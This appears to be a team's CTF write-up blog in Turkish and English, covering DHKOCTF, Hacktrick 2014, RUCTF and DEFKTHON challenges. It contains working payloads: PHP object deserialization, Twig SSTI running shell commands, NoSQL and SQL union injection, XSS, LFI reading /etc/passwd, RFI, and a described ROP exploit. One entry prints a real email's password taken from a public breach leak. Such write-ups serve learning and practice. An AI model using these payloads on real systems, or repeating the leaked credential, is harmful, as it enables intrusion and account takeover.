DHKOCTF - For500

Bu soruda ise bir adet pcap dosyasi ile basbasaydik, trafigi incelemeye basladik once ftp trafigini gorduk bi yandan ben pcap dosyasini parse ediyorum bi yandan deniz ordan cikan datalarla ilgili arastirma yapiyor tam bir rush icindeyiz, tehlikeli oldugumuzu bir kere daha ispatlamak icin dehsetul vahset bir heyecan icerisindeydik. Ftp trafigi bittikten sonra TLS trafigi baslamaya basladi, iste dedik simdi hopasinanay kesin ftp sunucusu icinden private keyini falan bulmamiz gerekecek TLS trafigini goruntulemek icin, bi yandan pastebin linkleri cikip duruyor onlara bakiyoruz falan troll troll mesajlar derken derken, bir anda IRC trafigi basladi ve asagidaki gibi bir mesaj ile karsilastim:

merhaba ben cin mafyasindanim. 421750451@qq.com bu epostanin parolasini ariyorum. salak bikac tane ucretsiz host firmasina kayit olmus. belki bu sana yardimci olur. parolasini bulup getirir misin?

PRIVMSG #dkhoctf :yuh lan
PRIVMSG #dkhoctf :size
PRIVMSG #dkhoctf :boyle soru mu olur
PRIVMSG #dkhoctf :!!!! 

iyi dedik heralde gorev tanimimiz bu, devam ettim trafigi incelemeye derken bir de ne gorelim 000webhost'a ve bir kac tane daha free hosting sitesine requestler var hepsini atiyorum denize, demesin mi 000webhost hacklendiydi onun leaki var, hemen bulduk leak datasini:

https://000webhost.thecthulhu.com/

Zaten sifre de icindeydi : zzz3686502

ggwp.

DKHOCTF - Rev100

Eveet can sikmanin babasi adeta atasi flow yonlendirme sorularindan birisiyle daha karsi karsiyaydik. Soru aslinda kolay gozukuyordu cok fazla fonksiyon yoktu, ozellikle bir tanesi uzun govdesi ve icerdigi putcharlarla oldukca dikkat cekiyordu:

E flowu madem verelim bir 0x400640'a gorelim neler olacak dedik, actik gdb ile breakpointimizi koyduk b *0x40053f adresine (tam mainden return olurkene), sonra bastik jump *0x400640 'yi ve

Babayi buldun! :D 
IJ2UIYLIMFBGC43MMFXGO2LD


yazisi ile karsilastik, e iyi dedik hos dedik allem ettik kallem ettik bir turlu beceremedik, daha yarismanin ilk saatleri bu arada neyse dedik sonra cozeriz bunu da ve tami tamina 3 gun boyunca lanet olasica seyi decode edemedik, ustelik nsa, fbi ve cia'den aldigimiz desteklere ragmen. Basiret baglanmasi olsa gerek base32'i aklimizin en ufak bir kiyisindan bile gecmedi, sonuc submit edemedik ama edebileydik eyiydi yani :(

DKHOCTF - Web 300

Bu sorudaysa cookie olarak bir serialized object saklanmaktaydi, sunucu direk bu objeyi unserialize edip kullaniyordu. Bu kismini gormemiz gercekten cok cabuk oldu zaten bariz birseydi, daha sonra bilinen bilimum class'lar ile deneyip "handle" nesnesinin read veya close methodlarinin calistirildigina karar kildik sonra exploit etmek icin ugrastik, ugrastik ve ugrastik....

Saatler sonra(hatta belki de gun) backup.zip'i fark etik, bundan sonrasi ez'ydi zaten, asagidaki gibi bir payload generator yazip cocugu koyduk.

<?php
require_once ("Process.php");
require_once ("Database.php");

class Session
{
   protected \$name, \$lastname, $handle;

   function __construct(\$name, \$lastname)
   {       \$this->name = new Process("../var/www/html", "flag.txt"); 

       \$this->lastname = \$this->name;#new Process("../etc", "passwd"); 

       \$this->handle = \$this->name;#new Process("../etc", "passwd");

   }

   function getName(){
       return \$this->name;
   }

   function getLastName(){
       return \$this->lastname;
   }

   function __destruct()
   {
       echo "__destroy<br/>";
        \$this->_destroy();
   }

   function _destroy(){
       // TODO: Look at the scrum board.
        \$this->handle->close();
   }

} 

\$session = new Session("test", 123); 

echo base64_encode(serialize(\$session));

daha sonra cikan degeri cookie'mize kouyoruz ve tadaa

DKHOCTF - Web 400

Bu soruda siteye login oldugunuzda form datanizla birlikte size bir session olusturup daha sonra da bir sso adresine redirect olup burdan yeni bir sso cookie'si olusturuyordu, redirect oldugumuz sayfanin url'i asagidaki gibiydi:

http://52.58.31.66/api.php?method=login&sso=http://sso.prodaft.rocks

bu sayfaya gelirkenki post ve get datasini inceledigimizde hic bir sey gelmedigini sadece session id'mizin passlandigini gorduk. Uzunca bir sure session id uzerinden bisiler denedik ama bir sonuca varamadik daha sonra da bu linke bir conenction gonderildigini dusunduk ve sso parametresini degistirmeye calistik, ama bu adresten baska butun adresler icin url abuse detected hatasi aliyorduk. Daha sonra ipucunun da yardimiyla bu url kontrol edilirken sadece startswith kontrolu yapildigini dusunduk ve urli http://52.58.31.66/api.php?method=login&sso=http://sso.prodaft.rocks.0xdeffbeef.com/ seklinde degistirerek kendi uzerimize yonlendirdik, buradan kendimize request ulastigini ve sayfadaki content ile bize bir user sesioni olusturuldugunu gorduk, daha sonra da sayfada admin contentini bastirdik ve tadaa flag karsimizdaydi.

DKHOCTF Web-500

Bu soruda sunucuya baglandigimizda

This is an internal app. You are not allowed.

yazisiyla karsilasiyorduk, gorur gormez x-forwarded-for headerini 127.0.0.1 yapip denemek geldi aklimiza ve bam icerdeydik, ardindan bizi bir kayit formu karsiliyordu, kayit formunun source codeuna baktigimizda en ustunde

	<!--
	require('config.inc');
	require('functions.php');
	--> satirlarini goruyorduk. hemen config.inc'nin icine girdik ve define("SECRETKEY", "SYG1BZUUTjsKesRq5uZJWB8ggXQyaS8hZR0hKMQj4is9V36W9x"); secretkeyimizi aldik. daha sonra formu submitledigimizde gonderdigimiz datalar ile belirli bir checksum yapildigi belliydi ve form sadece [a-zA-Z] karakterleri ile submission yapmamiza izin veriyordu. Bu secret keyle nasil bir hashleme yapildigini cozduk once, bilimum varyasyonlari denerken md5("f+l+secret") oldugunu kesfettik. Butun bunlar soru acildiktan yarim saat sonra falan gerceklesmisti sanirim tam hatirlamamakla birlikte, sonra yarismanin son 9 dakikasina kadar bilimum xss, code injection,sqli,rfi,lfi falan herseyi denedik ama nafile. Yarismanin sonuna kadar gelen hintler de hep bu bildigimiz yerlerden oldugu icin yine pek kar etmedi ama yarismanin son aninda "SSTI" denmesi ile birlikte kafalarimizi taslara vurduk, rendering engine'i kesfedecek kadar zamanimiz yoktu maalesef resmen "buna bas buna bas" methodolojisi ile cozmeye calistik lakinki sure yetmedi. Mehmet Ince'nin postundan engine'in twig oldugunu gorduk dun, bugun de soyle tatli bir payload yazdik. Guzel soru +rep ellerinize saglik. http://52.58.73.114/success.php?f={{_self.env.registerUndefinedFilterCallback(%27exec%27)}}&l={{_self.env.getFilter(%27cat%20flag.txt%27)}}&t=xxxxx Congratulations Dear flag{Y0uRWebStaRSendUrCVtoxxxxDOTxxxATxxxxDOTxxx}. Thank you for registration.

HackMETU

Our first CTF try, HackMETU is open for application. We are so excited.

HackMETU icin basuvurulari almaya basladik!

Hacktrick 2014 - ORION - Web Write-up

on this challenge we were supposed to login as admin to a page, which we can register and login with our registered credentials. first we looked for guessable sessionid, but it was not :(. Then tried setting some cookies as admin, isadmin. It did not work neither. Then we get a hint that the server was using mongodb after that everything was easy we just make a nosqli request and became admin. To guess the username we used the registration system. The request made by netcat was this:

POST /index.php HTTP/1.1
Host: 80.251.47.26
Connection: keep-alive
Content-Length: 32
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://80.251.47.26
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.132 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://80.251.47.26/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: admin=true; isadmin=true; PHPSESSID=123 

login=admin&password[$ne]=huhu&submit=

after that we just refreshed the page :)

Hacktrick 2014 - Iron Throne - Web Write-up

This challenge was about SQLi, system was searching the input we gave by using a statement like this:

select * from X where Y like 'input%'

so we first used an input like this to gather the table names:

asdf' union select table_name, 2 from information_schema.tables where '1'='1' or 'a'='

which end up with a query as:

select * from X where Y like 'asdf' union select table_name, 2 from information_schema.tables where '1'='1' or 'a'='%'

and what we get was:

flag         2
news 2

so we pulled from the table named flag like this:

asdf' union select *, 2 from flag where '1'='1' or 'a'='
select * from X where Y like 'asdf' union select *, 2 from flag where '1'='1' or 'a'=' %'

and voila:
Is@1dTh@tWAFisUs3l3ss4us

Hacktrick 2014 - Fuel - Web Write-up

On this quest we need to reach a URL on the server, but iptables was set to prevent anyone from reaching it so the aim was to bypass it. The hint was pointing to a tool called 'fragroute' but we could not make it work and started to look new ways and asked ourselves why not url encode??

send a request like this on netcat:

nc 80.251.47.25 80
GET /%61dministrator.html

and received:

<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
Key : G1mm3fu3lG1mm3fir3
</body>
</html> 

Hacktrick 2014 - KHALEESI - Web Write-up

On this challenge we were given a page with khaleesi on it :D the exact page source code:
http://www.codesend.com/view/11681e9c3ee496b651b6efd318959821/

And the image of course :D :

As you can see from the source code we were given an obfuscated javascript code. First we decoded the first array and come up with those strings:

0 Yea I know I'm so hot and that can be cause lack of attention<3
1 log
2 Oh my dragons! My beautiful dragons...
3 abcdef1234567890
4 flag
5 U2FsdGVkX1/d+AKV6nrvKw0mwepr2/LIeS0sW4EveGKEv4cinrxne8MiSUEozt3DAYt25i1u7m4=
6 setItem
7 use strict
8 Missing secret!
9 secret
10 stringify
11 encrypt
12 TripleDES
13 decrypt
14 enc
15 parse
16 prototype
17 getItem
18 localStorage
19 remove
20 removeItem
21 -
22 split
23 substring
24 hash
25 Flag:
26 get

Then we followed the code till the end, through the end you shall see some if checks and an alert using the 25th element of array which is flag! so we met the conditions necessary in the if statements and make the link like this:
http://80.251.47.204/#7-17

and there comes the flag:
Flag:YouNeedToFallInLoveKhaleesiTobeH4ck3r

Hacktrick 2014 - Domify - Web Write-up

In this problem server was using the url we gave him directly in a onclick event of a hyperlink, which would leave a great xss vuln.

Onclick event was something like this:
<a href="#" onclick="someRedirectFunc('1337', 'index.php?click=');">

so i changed the link into this:
http://80.251.47.24/index.php?click=');window.stop();alert('sex

and then the event change into something bad very very bad :P :
<a href="#" onclick="someRedirectFunc('1337', 'index.php?click=');window.stop();alert('sex');">

The aim was to make the payload work on as much browser as possible, and most of the browsers were redirecting before or after the alert so we put the 'window.stop();' to stop the redirection but newer versions of IE has something called 'XSS Filter' which turned every paranthesis in the url into #. We did not bypass the filter but learned there is a way by using the data uris to pass that kind of filtering.

RUCTF Quals 2014 - Shredder - Misc 100 Write-up

        There was only a image file for this task. It was image of shredded hard copy of an e-mail. As it would be so hard to reconstruct the e-mail on computer, we printed the image and shredded it again and reconstructed it. Finally we found the flag : "Ructf_to_shred_is_not_enough".

RUCTF Quals 2014 - php - Web 100 Write-up

When we looked to this problem there is a text explaining the CTF concept and at the bottom:

Language was detect automatically :)

After that, i looked for files like this:
http://w1.quals.ructf.org/en
http://w1.quals.ructf.org/ru
so it was including the file appropriate to our language we can use this to include any file we wanted, but first we need to find how it detects our language. First we looked for a cookie, nah this was not the way. Then we looked for headers and saw a field named "Accept-Language". Then we tried a request like this with curl:

curl http://w1.quals.ructf.org/ -H"Accept-Language:/etc/passwd"

but we could not find the file which helds the flag so decided to try RFI and it was working too!
By the help of a script like this:
http://file.0xdeffbeef.com/web100siken.txt
we gathered the flag with this request:
$flag = '5cf27d9bad2fe9d96d2bcf25c3b0bd14';

RUCTF Quals 2014 - Guess the flag - Vuln 100 Write-up

In this challenge we were given a binary file and a server listening on a port:
vuln1.quals.ructf.org:16712 binary 
Flag format is "RUCTF_.*".

when we tried to run the binary file on local we get a segmentation fault and when we disassembled the binary it was due to the absence of a file named "hint". We also get something else it was printing the data with the input it get in cause of it is not the flag. When we run it by nc we see that there is a pattern on the hint and to see it clear we give a "space" for the input and we get an image like this:

 Hmmm, it seems like a 7 isn't it? lets give it as input :)

/

It was really easy, isn't it?

RUCTF Quals 2014 - Posts - Vuln 300 Write-up

Hi, writeups for this CTF have been delayed because of our absence of free time so let's start with something big :D

In this problem we were given a ssh server address and here it is:
ssh vuln2.quals.ructf.org -p 2022 user:Ikiy7ei5
probably it will be closed when you are looking but don't worry we also gathered gadget instructions for better analysis.

It is basically a program for note inserting (taking a lot of input's from you), and then reading them back. Because we are on ssh server there is nothing much to do about disassembling the file but luckily(!) we've got gdb on the server so when we disassembled the file with it we got some interesting parts like this:

first of all it is the part how our name was inputted:

it is using fgets to get from stdin and also gathering 256 bytes (till the newline, or eol).

The second part (and the most interesting one) which gets our note into somewhere after 0x080d7100 by using these calculations and also calling that calculated address:

because of system is getting the input via scanf we can put as much data as we want to overwrite the next function going to be called. The index was easy to calculate after each note the index was shifting 516 bytes from the note title and 260 bytes from the notes body, till the next function pointer and if we overwrite that address we would be able to get the

eip control and we did so. But no :( there was nothing to jump to everything useful was around 0x080d0000 and because of 0d is a newline character we could not use it in our input and it caused us to change our mind from just jumping to system libc function to ROP. (well actually it is our first ROP practice :D). The ASLR was disabled so getting ram addresses didn't make any troubles. And we managed to write a script like this:
http://www.codesend.com/view/b0f764dac29de59e92537fce3d8c1c07/
you can see the memory layout and gadget adresses at the top of the source.

Our note's were not being kept on the stack but the name was. So we used name variable for arranging stack for ROP and note's to overwrite the next function pointer to point our name. Just 2 notes were enough in first we overwrite the next posts pointer and when the system wanted to get the second note it called our overwritten function and ta-daaa :))

** GDB and the real stack addresses were different due to initial stack alignment and by testing we found out that real offset would be 32 bytes away from the gdb's stack.

DEFKTHON CTF 2014 - Find the FLAG! - Crypto 400 Write-up

HI!

We were given a lot of description this time :D and here they are:

Alice and Bob went a long way in crypto. They designed a super secure crypto system to encrypt their messages. We managed to steal the source and some other information. Find the FLAG!  

File 

We also got this: Download 

Mirror
File 

We also got this: Download

In the first file we had an example of the algorithm and the cipher we needed to decrypt and from the second file which is an archive we get 3 files 2 keys and the encryption script but script was obfuscated and names in the script were not readable to human, so lets start with de-obfuscating it - we did it by hand- and here is the a bit more readable script:
http://www.codesend.com/view/addce89369568510c33ff3154bf6dd89/

Basically it was reading four keys, and processing an asymmetric encryption on its first argument according to those keys.
The argument string is converted into a base256 number by those lines:

a, bb = argv[1], 0
for ccc in a: bb = (bb*256) + ord(ccc)

So what the encryption doing by mathematically is something like this:

$$T \equiv C^{A} \pmod{B}\\
P \equiv C^{S} \pmod{B}\\
Q \equiv M \cdot T^{S} \pmod{B}$$

where A,B,C and D are values in the keyfiles respectively and S is the random seed generated from D.

We know the values of B and C from the zip archive and P and Q from the message text that is containing an example and the cipher we need to find a way to get the value of M with those guys. Let's examine the $T^{S}$ actually it is equal to $(C^{A})^{S}$ and which is $P^{A}$ we just swapped the exponents. and last line became:

$$Q \equiv M \cdot P^{A}\pmod{B}$$

And besides those things we actually got one more very important data, the EXAMPLE! The example's P value and the P value of the cipher we need to decrypt are equal, also we know that A is equal for both of them so we can get the value of $P^{A}$ from the example -as we know Q and M for it. and then just multiply both sides of our equations with the inverse of the $P^{A}$ modulo B and then get the decrypted cipher lets do it now!

There's our python code for geting the flag:
http://www.codesend.com/view/7d97576bb77a0cc1ca33a717b6c8ed4d/

DEFKTHON CTF 2014 - Crack Ajin's message. - Recon 250 Write-up

This was a new type of challenge for us and was really fun :D

We were given a message when we open it we are welcomed by a "mail" encrypted by Mailvelope v0.7.0. We googled for it and came across addons, installed one compatible with our browser and moved on to message again by adding paste.bin to add-ons site's. When we tried to decrypt, it wanted a key file and also a password -which we don't have :( -for now :)))-.

To find the key file and password google'd again Ajin Abraham as mentioned in challenge page. We came across to his personal page! The best thing we could wish! We searched the page and at the end of the HTML file we found a commented line:

<!--pastebin DOT com/TYHfKbtt-->

Let's go for the link! And ta-daa there is the key file! But wait a second we still don't have the passphrase :( lets keep looking for it. We searched the personal page again and see something interesting.

<p id="mail-failure">Unable to send your email! (--wankoff--)</p> 

What this wankoff could be? Can it be our passphrase :))) OF COURSE IT IS!!
Now, we have all the things necessary lets decrypt the mail!

And badumtisss:

 flag { Pretty007G00d007Privacy }

DEFKTHON CTF 2014 - Segmentation Fault - Rev 200 Write-up

We are back with another reversing challenge, you can get the binary from here.
When we dissamble it we see that it is starting a child process with piping its stdin/out and writing some key in the child proccess to the pipe:

and the it is doing some operations with this key code -don't forget the key is a string so they are all chars not a number!.

This is the dissamble result of the lol function -which is doing something with the key :D.

.text:080485F4                 push    ebp
.text:080485F5                 mov     ebp, esp
.text:080485F7                 sub     esp, 28h
.text:080485FA                 mov     eax, [ebp+arg_0]
.text:080485FD                 add     eax, 1
.text:08048600                 movzx   eax, byte ptr [eax]
.text:08048603                 mov     edx, eax
.text:08048605                 mov     eax, [ebp+arg_0]
.text:08048608                 add     eax, 1
.text:0804860B                 movzx   eax, byte ptr [eax]
.text:0804860E                 lea     eax, [edx+eax]
.text:08048611                 mov     [ebp+var_13], al
.text:08048614                 mov     eax, [ebp+arg_0]
.text:08048617                 add     eax, 4
.text:0804861A                 movzx   eax, byte ptr [eax]
.text:0804861D                 mov     edx, eax
.text:0804861F                 mov     eax, [ebp+arg_0]
.text:08048622                 add     eax, 5
.text:08048625                 movzx   eax, byte ptr [eax]
.text:08048628                 lea     eax, [edx+eax]

The same thing keeps going you can get the full function from here.
Let's see what this code is doing:
the first 3 instructions are function prologue -so we can skip them,
after that it is getting the parameter passed to it into eax and making it point to 2nd byte and then putting the byte at that point -strings 2nd char- into the edx doing the same thing again and loading it into eax and then summing them and storing them. It used the indexes 1,1 for the first char. Then it is repating the process for 4th and 5th indexes and so on. All indexes are:

1 1
4 5
8 9
12 12
18 17
10 21
9 25

So we can see from how the function was called, the new string calculated should lead us to the flag!
There is the python script we have written to get the flag:
http://www.codesend.com/view/e1f2c4ce70ddbdf0a3f7bdf06e89be6e/

DEFKTHON CTF 2014 - we love it! - Web 300 Write-up

For this challenge we had an apk file! Well it was exciting at the beggining i was expecting something much more about android but... in the it was a web quest what else could it be :D

To start i get android-sdk so that i can use the emulator to run program and while it was being downloaded, I decompiled the apk package and get a code like this. It was checking if the text entered was "paswd" and sending a web request if it is with some phone data and a random pwd value -which is between [0, 300]. The problem was site kept us telling

You missed something.
Keep trying.

so i thought it must be something about pwd data i get the exact header's for the post request via wireshark and simulate it on computer -of course i got the same response :D- but this time i iterate through all possible pwd values[0, 300] and in the end i got the flag!

Flag is: w00tkitk@t

Python script and request headers:
http://www.codesend.com/view/584e8c192ff7b374732f783321175ce6/

DEFKTHON CTF 2014 - Flag is Here! - Misc 200 Write-up

In this challange we were given a txt file which contains many lines and on each line it was containing 3 integers seperated with comma, and each of these integers was between [0,255] so we thought it might be a RGB formatted image and write a python script to get the image.

The problem was we were not given any size info :( so we keep trying different size's (but we know total count of pixels so when you know one of the w or h the other one most be number_of_lines/known_size) and we get a size of 126x488(wxh) and the image was:

And there is the python script